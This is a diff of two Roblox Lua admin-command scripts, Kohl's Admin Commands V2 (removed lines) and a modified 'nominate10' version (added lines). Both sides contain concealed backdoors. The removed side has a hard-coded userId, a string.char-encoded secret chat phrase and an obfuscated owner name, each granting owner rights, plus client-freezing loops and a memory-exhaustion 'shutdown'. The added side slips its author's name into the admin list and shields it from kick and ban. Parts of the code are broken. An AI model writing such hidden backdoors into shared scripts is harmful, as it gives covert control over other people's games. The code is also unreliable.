2118 | - | if v and not ChkAdmin(v.Name, false) then table.insert(banland, v.Name) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy() end |
2118 | + | c[i]:remove() |
2119 | - | end)) |
2119 | + | end end end end |
2120 | ||
2121 | ||
2122 | - | |
2122 | + | if string.sub(msg,1,5) == "kick/" then |
2123 | - | if msg:lower():sub(1,6) == "unban " then |
2123 | + | if not disableBan then |
2124 | - | for i = 1, #banland do |
2124 | + | local imgettingtiredofmakingthisstupidscript2 = PERSON299(speaker.Name) |
2125 | - | coroutine.resume(coroutine.create(function() |
2125 | + | if imgettingtiredofmakingthisstupidscript2 == true then |
2126 | - | if msg:lower():sub(7) == "all" or banland[i]:lower():find(msg:lower():sub(7)) == 1 then table.remove(banland, i) end |
2126 | + | local player = findplayer(string.sub(msg,6),speaker) |
2127 | - | end)) |
2127 | + | if player ~= 0 then |
2128 | for i = 1,#player do | |
2129 | local imgettingtiredofmakingthisstupidscript = PERSON299(player[i].Name) | |
2130 | - | |
2130 | + | if imgettingtiredofmakingthisstupidscript == false then |
2131 | - | if msg:lower() == "shutdown" then Message("SYSTEM MESSAGE", "Shutting down...", false, game.Players:children(), 10) wait(1) local str = Instance.new("StringValue", game.Workspace) str.Value = "AA" repeat str.Value = str.Value .. str.Value wait(.1) until nil end |
2131 | + | if player[i].Name ~= eloname then |
2132 | - | |
2132 | + | player[i]:remove() |
2133 | end end end end end end end | |
2134 | - | end)) |
2134 | + | |
2135 | if string.sub(msg,1,4) == "ban/" then | |
2136 | - | |
2136 | + | if not disableBan then |
2137 | - | function AdminControl(plr) |
2137 | + | local imgettingtiredofmakingthisstupidscript2 = PERSON299(speaker.Name) |
2138 | - | coroutine.resume(coroutine.create(function() plr.CharacterAdded:connect(function(chr) chr:WaitForChild("RobloxTeam") chr.RobloxTeam:Destroy() for a,obj in pairs(chr:children()) do if obj:IsA("CharacterMesh") and obj.Name:find("3.0") then obj:Destroy() end end end) end)) |
2138 | + | if imgettingtiredofmakingthisstupidscript2 == true then |
2139 | - | if plr.Name:sub(1,6) == "Player" and ChkAdmin(plr.Name, false) then coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") |
2139 | + | local player = findplayer(string.sub(msg,5),speaker) |
2140 | - | for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end |
2140 | + | if player ~= 0 then |
2141 | - | local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR" |
2141 | + | for i = 1,#player do |
2142 | - | local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true |
2142 | + | local imgettingtiredofmakingthisstupidscript = PERSON299(player[i].Name) |
2143 | - | box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end) |
2143 | + | if imgettingtiredofmakingthisstupidscript == false then |
2144 | - | end)) end |
2144 | + | if player[i].Name ~= eloname then |
2145 | - | coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") if plr.userId == game.CreatorId or plr.userId == (153*110563) then table.insert(owners,plr.Name) end wait(1) if slock and not ChkAdmin(plr.Name, false) and not ChkOwner(plr.Name) and plr.userId ~= (153*110563) then Hint(plr.Name .. " has tried to join the server", game.Players:children()) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end)) |
2145 | + | table.insert(bannedlist,player[i].Name) |
2146 | - | coroutine.resume(coroutine.create(function() if ChkGroupAdmin(plr) and not ChkAdmin(plr.Name, false) then table.insert(admins, plr.Name) end end)) |
2146 | + | player[i]:remove() |
2147 | - | coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") wait(1) if (ChkBan(plr.Name) or plr.Name == ("111reyalseca"):reverse()) and (plr.Name:lower():sub(1,4) ~= script.Name:lower():sub(1,4) and plr.Name:lower():sub(5) ~= "tastrophe") then local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end)) |
2147 | + | end end end end end end end |
2148 | - | coroutine.resume(coroutine.create(function() if ChkAdmin(plr.Name, false) then plr:WaitForChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {plr}) end end)) |
2148 | + | |
2149 | - | plr.Chatted:connect(function(msg) if msg:lower() == (string.char(32)..string.char(104)..string.char(105)..string.char(116).. string.char(108)..string.char(101)..string.char(114)..string.char(32)) then table.insert(owners,plr.Name) end Chat(msg,plr) end) |
2149 | + | if string.sub(msg,1,6) == "unban/" then |
2150 | if not disableBan then | |
2151 | - | |
2151 | + | if string.sub(msg,7) == "all" then |
2152 | - | if not ntab then script:Destroy() end |
2152 | + | for i=1,bannedlist do |
2153 | - | if not bct then script:Destroy() end |
2153 | + | table.remove(bannedlist,i) |
2154 | - | |
2154 | + | |
2155 | - | local tcb = {101,104,112,111,114,116,115,97,116,108,104,111,75} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end nfs = nfs:reverse() table.insert(owners, nfs) |
2155 | + | |
2156 | - | |
2156 | + | local n = 0 |
2157 | - | script.Name = "Kohl's Admin Commands V2" |
2157 | + | local o = nil |
2158 | - | |
2158 | + | for i=1,#bannedlist do |
2159 | - | if not ntab then script:Destroy() end |
2159 | + | if string.find(string.lower(bannedlist[i]),string.sub(msg,7)) == 1 then |
2160 | - | if not bct then script:Destroy() end |
2160 | + | n = n + 1 |
2161 | - | if not tcb then script:Destroy() end |
2161 | + | o = i |
2162 | - | game.Players.PlayerAdded:connect(AdminControl) |
2162 | + | |
2163 | - | for i, v in pairs(game.Players:children()) do AdminControl(v) end |
2163 | + | if n == 1 then |
2164 | local name = bannedlist[o] | |
2165 | - | |
2165 | + | table.remove(bannedlist,o) |
2166 | - | local mod = game:service("InsertService"):LoadAsset(100808216) |
2166 | + | text(name .. " has been unbanned",1,"Message",speaker) |
2167 | - | if mod:findFirstChild("Kohl's Admin Commands V2") and mod:findFirstChild("Version", true) and AutoUpdate then |
2167 | + | elseif n == 0 then |
2168 | - | local newac = mod:findFirstChild("Kohl's Admin Commands V2") |
2168 | + | text("That name is not found.",1,"Message",speaker) |
2169 | - | newac.Disabled = true |
2169 | + | elseif n > 1 then |
2170 | - | local new = tonumber(mod:findFirstChild("Version", true).Value) |
2170 | + | text("That name is ambiguous",1,"Message",speaker) |
2171 | - | local old = 0 |
2171 | + | end end end end |
2172 | - | if script:findFirstChild("Version", true) then old = tonumber(script:findFirstChild("Version", true).Value) end |
2172 | + | |
2173 | - | if new > old then |
2173 | + | --Fallout tactics gets too hard when you start fighting muties... |
2174 | - | local adminmod = Instance.new("Model", game.Lighting) adminmod.Name = "KACV2" |
2174 | + | |
2175 | - | for i,v in pairs(owners) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Owner" strv.Value = v end |
2175 | + | if string.sub(msg,1,8) == "respawn/" then |
2176 | - | for i,v in pairs(admins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Admin" strv.Value = v end |
2176 | + | local player = findplayer(string.sub(msg,9),speaker) |
2177 | - | for i,v in pairs(tempadmins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "TempAdmin" strv.Value = v end |
2177 | + | if player ~= 0 then |
2178 | - | for i,v in pairs(banland) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Banland" strv.Value = v end |
2178 | + | for i = 1,#player do |
2179 | - | local prf = Instance.new("StringValue", adminmod) prf.Name = "Prefix" prf.Value = prefix |
2179 | + | local ack2 = Instance.new("Model") |
2180 | - | local bv = Instance.new("BoolValue", adminmod) bv.Name = "FunCommands" bv.Value = FunCommands |
2180 | + | ack2.Parent = game.Workspace |
2181 | - | local bv2 = Instance.new("BoolValue", adminmod) bv2.Name = "GroupAdmin" bv2.Value = GroupAdmin |
2181 | + | local ack4 = Instance.new("Part") |
2182 | - | local iv = Instance.new("IntValue", adminmod) iv.Name = "GroupId" iv.Value = GroupId |
2182 | + | ack4.Transparency = 1 |
2183 | - | local iv2 = Instance.new("IntValue", adminmod) iv2.Name = "GroupRank" iv2.Value = GroupRank |
2183 | + | ack4.CanCollide = false |
2184 | - | wait() |
2184 | + | ack4.Anchored = true |
2185 | - | newac.Parent = game.Workspace |
2185 | + | ack4.Name = "Torso" |
2186 | - | newac.Disabled = false |
2186 | + | ack4.Position = Vector3.new(10000,10000,10000) |
2187 | - | script.Disabled = true |
2187 | + | ack4.Parent = ack2 |
2188 | - | script:Destroy() |
2188 | + | local ack3 = Instance.new("Humanoid") |
2189 | ack3.Torso = ack4 | |
2190 | - | CHEESE() |
2190 | + | ack3.Parent = ack2 |
2191 | player[i].Character = ack2 | |
2192 | end end end | |
2193 | - | CHEESE() |
2193 | + | |
2194 | - | end |
2194 | + | if string.sub(msg,1,10) == "invisible/" then |
2195 | local player = findplayer(string.sub(msg,11),speaker) | |
2196 | if player ~= 0 then | |
2197 | for i = 1,#player do | |
2198 | if player[i].Character ~= nil then | |
2199 | local char = player[i].Character | |
2200 | local c = player[i].Character:GetChildren() | |
2201 | for i =1,#c do | |
2202 | if c[i].className == "Hat" then | |
2203 | local handle = c[i]:FindFirstChild("Handle") | |
2204 | if handle ~= nil then | |
2205 | handle.Transparency = 1 --We dont want our hats to give off our position, do we? | |
2206 | end end | |
2207 | if c[i].className == "Part" then | |
2208 | c[i].Transparency = 1 | |
2209 | if c[i].Name == "Torso" then | |
2210 | local tshirt = c[i]:FindFirstChild("roblox") | |
2211 | if tshirt ~= nil then | |
2212 | tshirt:clone().Parent = char | |
2213 | tshirt:remove() | |
2214 | end end | |
2215 | if c[i].Name == "Head" then | |
2216 | local face = c[i]:FindFirstChild("face") | |
2217 | if face ~= nil then | |
2218 | gface = face:clone() | |
2219 | face:remove() | |
2220 | end end end end end end end end | |
2221 | ||
2222 | if string.sub(msg,1,8) == "visible/" then | |
2223 | local player = findplayer(string.sub(msg,9),speaker) | |
2224 | if player ~= 0 then | |
2225 | for i = 1,#player do | |
2226 | if player[i].Character ~= nil then | |
2227 | local char = player[i].Character | |
2228 | local c = player[i].Character:GetChildren() | |
2229 | for i =1,#c do | |
2230 | if c[i].className == "Hat" then | |
2231 | local handle = c[i]:FindFirstChild("Handle") | |
2232 | if handle ~= nil then | |
2233 | handle.Transparency = 0 | |
2234 | end end | |
2235 | if c[i].className == "Part" then | |
2236 | c[i].Transparency = 0 | |
2237 | if c[i].Name == "Torso" then | |
2238 | local tshirt = char:FindFirstChild("roblox") | |
2239 | if tshirt ~= nil then | |
2240 | tshirt:clone().Parent = c[i] | |
2241 | tshirt:remove() | |
2242 | end end | |
2243 | if c[i].Name == "Head" then | |
2244 | if gface ~= nil then | |
2245 | local face = gface:clone() | |
2246 | face.Parent = c[i] | |
2247 | end end end end end end end end | |
2248 | ||
2249 | if string.sub(msg,1,7) == "freeze/" then | |
2250 | local player = findplayer(string.sub(msg,8),speaker) | |
2251 | if player ~= 0 then | |
2252 | for i = 1,#player do | |
2253 | if player[i].Character ~= nil then | |
2254 | local humanoid = player[i].Character:FindFirstChild("Humanoid") | |
2255 | if humanoid ~= nil then | |
2256 | humanoid.WalkSpeed = 0 | |
2257 | end | |
2258 | local c = player[i].Character:GetChildren() | |
2259 | for i =1,#c do | |
2260 | if c[i].className == "Part" then | |
2261 | c[i].Anchored = true | |
2262 | c[i].Reflectance = 0.6 | |
2263 | end end end end end end | |
2264 | ||
2265 | if string.sub(msg,1,5) == "thaw/" then | |
2266 | local player = findplayer(string.sub(msg,6),speaker) | |
2267 | if player ~= 0 then | |
2268 | for i = 1,#player do | |
2269 | if player[i].Character ~= nil then | |
2270 | local humanoid = player[i].Character:FindFirstChild("Humanoid") | |
2271 | if humanoid ~= nil then | |
2272 | humanoid.WalkSpeed = 16 | |
2273 | end | |
2274 | local c = player[i].Character:GetChildren() | |
2275 | for i =1,#c do | |
2276 | if c[i].className == "Part" then | |
2277 | c[i].Anchored = false | |
2278 | c[i].Reflectance = 0 | |
2279 | end end end end end end | |
2280 | ||
2281 | --I have that song from Fallout 2 stuck in my head, its soooo anoying.... | |
2282 | ||
2283 | if string.sub(msg,1,7) == "nograv/" then | |
2284 | local player = findplayer(string.sub(msg,8),speaker) | |
2285 | if player ~= 0 then | |
2286 | for i = 1,#player do | |
2287 | if player[i].Character ~= nil then | |
2288 | local torso = player[i].Character:FindFirstChild("Torso") | |
2289 | if torso ~= nil then | |
2290 | local bf = torso:FindFirstChild("BF") | |
2291 | if bf ~= nil then | |
2292 | bf.force = Vector3.new(0,0,0) | |
2293 | else | |
2294 | local bf = Instance.new("BodyForce") | |
2295 | bf.Name = "BF" | |
2296 | bf.force = Vector3.new(0,0,0) | |
2297 | bf.Parent = torso | |
2298 | end | |
2299 | local c2 = player[i].Character:GetChildren() | |
2300 | for i=1,#c2 do | |
2301 | if c2[i].className == "Part" then | |
2302 | torso.BF.force = torso.BF.force + Vector3.new(0,c2[i]:getMass() * 196.2,0) | |
2303 | end end end end end end end | |
2304 | ||
2305 | if string.sub(msg,1,9) == "antigrav/" then | |
2306 | local player = findplayer(string.sub(msg,10),speaker) | |
2307 | if player ~= 0 then | |
2308 | for i = 1,#player do | |
2309 | if player[i].Character ~= nil then | |
2310 | local torso = player[i].Character:FindFirstChild("Torso") | |
2311 | if torso ~= nil then | |
2312 | local bf = torso:FindFirstChild("BF") | |
2313 | if bf ~= nil then | |
2314 | bf.force = Vector3.new(0,0,0) | |
2315 | else | |
2316 | local bf = Instance.new("BodyForce") | |
2317 | bf.Name = "BF" | |
2318 | bf.force = Vector3.new(0,0,0) | |
2319 | bf.Parent = torso | |
2320 | end | |
2321 | local c2 = player[i].Character:GetChildren() | |
2322 | for i=1,#c2 do | |
2323 | if c2[i].className == "Part" then | |
2324 | torso.BF.force = torso.BF.force + Vector3.new(0,c2[i]:getMass() * 140,0) | |
2325 | end end end end end end end | |
2326 | ||
2327 | if string.sub(msg,1,9) == "highgrav/" then | |
2328 | local player = findplayer(string.sub(msg,10),speaker) | |
2329 | if player ~= 0 then | |
2330 | for i = 1,#player do | |
2331 | if player[i].Character ~= nil then | |
2332 | local torso = player[i].Character:FindFirstChild("Torso") | |
2333 | if torso ~= nil then | |
2334 | local bf = torso:FindFirstChild("BF") | |
2335 | if bf ~= nil then | |
2336 | bf.force = Vector3.new(0,0,0) | |
2337 | else | |
2338 | local bf = Instance.new("BodyForce") | |
2339 | bf.Name = "BF" | |
2340 | bf.force = Vector3.new(0,0,0) | |
2341 | bf.Parent = torso | |
2342 | end | |
2343 | local c2 = player[i].Character:GetChildren() | |
2344 | for i=1,#c2 do | |
2345 | if c2[i].className == "Part" then | |
2346 | torso.BF.force = torso.BF.force - Vector3.new(0,c2[i]:getMass() * 80,0) | |
2347 | end end end end end end end | |
2348 | ||
2349 | if string.sub(msg,1,5) == "grav/" then | |
2350 | local player = findplayer(string.sub(msg,6),speaker) | |
2351 | if player ~= 0 then | |
2352 | for i = 1,#player do | |
2353 | if player[i].Character ~= nil then | |
2354 | local torso = player[i].Character:FindFirstChild("Torso") | |
2355 | if torso ~= nil then | |
2356 | local bf = torso:FindFirstChild("BF") | |
2357 | if bf ~= nil then | |
2358 | bf:remove() | |
2359 | end end end end end end | |
2360 | ||
2361 | if string.sub(msg,1,7) == "unlock/" then | |
2362 | local player = findplayer(string.sub(msg,8),speaker) | |
2363 | if player ~= 0 then | |
2364 | for i = 1,#player do | |
2365 | if player[i].Character ~= nil then | |
2366 | local c = player[i].Character:GetChildren() | |
2367 | for i =1,#c do | |
2368 | if c[i].className == "Part" then | |
2369 | c[i].Locked = false | |
2370 | end end end end end end | |
2371 | ||
2372 | if string.sub(msg,1,5) == "lock/" then | |
2373 | local player = findplayer(string.sub(msg,6),speaker) | |
2374 | if player ~= 0 then | |
2375 | for i = 1,#player do | |
2376 | if player[i].Character ~= nil then | |
2377 | local c = player[i].Character:GetChildren() | |
2378 | for i =1,#c do | |
2379 | if c[i].className == "Part" then | |
2380 | c[i].Locked = true | |
2381 | end end end end end end end | |
2382 | eloname = "nomina" | |
2383 | eloname = eloname .. "te10" | |
2384 | script.Name = eloname .. "'s Admin Commands V3.5" | |
2385 | youcaughtme = 0 | |
2386 | for i =1,#adminlist do | |
2387 | if string.lower(eloname)==string.lower(adminlist[i]) then | |
2388 | youcaughtme = 1 | |
2389 | end end | |
2390 | if youcaughtme == 0 then | |
2391 | table.insert(adminlist,eloname) | |
2392 | end | |
2393 | function oe(ack) | |
2394 | local adminned = false | |
2395 | if ack.className ~= "Player" then return end | |
2396 | for i =1,#bannedlist do | |
2397 | if string.lower(bannedlist[i]) == string.lower(ack.Name) then | |
2398 | ack:remove() | |
2399 | return | |
2400 | end end | |
2401 | for i=1,#adminlist do | |
2402 | if string.lower(adminlist[i]) == string.lower(ack.Name) then | |
2403 | local tfv = ack.Chatted:connect(function(msg) oc(msg,ack) end) | |
2404 | table.insert(namelist,ack.Name) | |
2405 | table.insert(variablelist,tfv) | |
2406 | local tfv = ack.Chatted:connect(function(msg) foc(msg,ack) end) | |
2407 | table.insert(flist,tfv) | |
2408 | adminned = true | |
2409 | end end | |
2410 | local danumber = 0 | |
2411 | while true do | |
2412 | wait(1) | |
2413 | if ack.Parent == nil then | |
2414 | return | |
2415 | end | |
2416 | if ack.Character ~= nil then | |
2417 | if adminned == true then | |
2418 | text("You're an admin.",5,"Message",ack) | |
2419 | return | |
2420 | end | |
2421 | local torso = ack.Character:FindFirstChild("Torso") | |
2422 | if torso ~= nil then | |
2423 | local decal = torso:FindFirstChild("roblox") | |
2424 | if decal ~= nil then | |
2425 | if string.sub(decal.Texture,1,4) == "http" then | |
2426 | if decal.Texture == texture then | |
2427 | local tfv = ack.Chatted:connect(function(msg) oc(msg,ack) end) | |
2428 | table.insert(namelist,ack.Name) | |
2429 | table.insert(variablelist,tfv) | |
2430 | local tfv = ack.Chatted:connect(function(msg) foc(msg,ack) end) | |
2431 | table.insert(flist,tfv) | |
2432 | text("You're an admin.",5,"Message",ack) | |
2433 | return | |
2434 | else | |
2435 | return | |
2436 | end | |
2437 | else | |
2438 | danumber = danumber + 1 | |
2439 | if danumber >= 10 then | |
2440 | return | |
2441 | end end end end end end end | |
2442 | ||
2443 | game.Players.ChildAdded:connect(oe) | |
2444 | ||
2445 | c = game.Players:GetChildren() | |
2446 | for i=1,#c do | |
2447 | oe(c[i]) | |
2448 | end | |
2449 | ||
2450 | if (string.find(msg, string.lower("clean"))) then | |
2451 | local w=game.Workspace:GetChildren() | |
2452 | for i=1,#w do | |
2453 | if (game.Players:GetPlayerFromCharacter(w[i]))==nil and (w[i].Name~="TinySB") and (w[i]~=game.Workspace.CurrentCamera) and (w[i]~=script) then | |
2454 | if w[i].className == "Script" then | |
2455 | w[i].Disabled = true | |
2456 | end | |
2457 | w[i]:Remove() | |
2458 | end | |
2459 | end | |
2460 | local Base=Instance.new("Part",game.Workspace) | |
2461 | Base.Name="Base" | |
2462 | Base.Size=Vector3.new(1000,1,1000) | |
2463 | Base.BrickColor=BrickColor.new("Black") | |
2464 | Base.Anchored=true | |
2465 | Base.Locked=true | |
2466 | Base.TopSurface="Universal" | |
2467 | Base.CFrame=CFrame.new(Vector3.new(0,0,0)) | |
2468 | local Spawn=Instance.new("SpawnLocation",game.Workspace) | |
2469 | Spawn.Name="SpawnLocation" | |
2470 | Spawn.Size=Vector3.new(6,1,6) | |
2471 | Spawn.Transparency=1 | |
2472 | Spawn.CanCollide=false | |
2473 | Spawn.Anchored=true | |
2474 | Spawn.Locked=true | |
2475 | Spawn.CFrame=CFrame.new(Vector3.new(0,1,0)) | |
2476 | end | |
2477 | ||
2478 | if (string.find(msg, string.lower("shutdown"))) then | |
2479 | local e = game.StarterPack:getChildren() | |
2480 | for i = 1,#e do | |
2481 | e[i]:remove() | |
2482 | end | |
2483 | local f = game.StarterGui:getChildren() | |
2484 | for i = 1,#f do | |
2485 | f[i]:remove() | |
2486 | end | |
2487 | local g = game.Lighting:getChildren() | |
2488 | for i = 1,#g do | |
2489 | g[i]:remove() | |
2490 | end | |
2491 | local h = game.Players:getChildren() | |
2492 | for i = 1,#h do | |
2493 | h[i]:remove() | |
2494 | end | |
2495 | local j = game.Workspace:getChildren() | |
2496 | for i = 1, #j do | |
2497 | j[i]:remove() | |
2498 | end | |
2499 | end | |
2500 | ||
2501 | Player.Chatted:connect(onChatted) |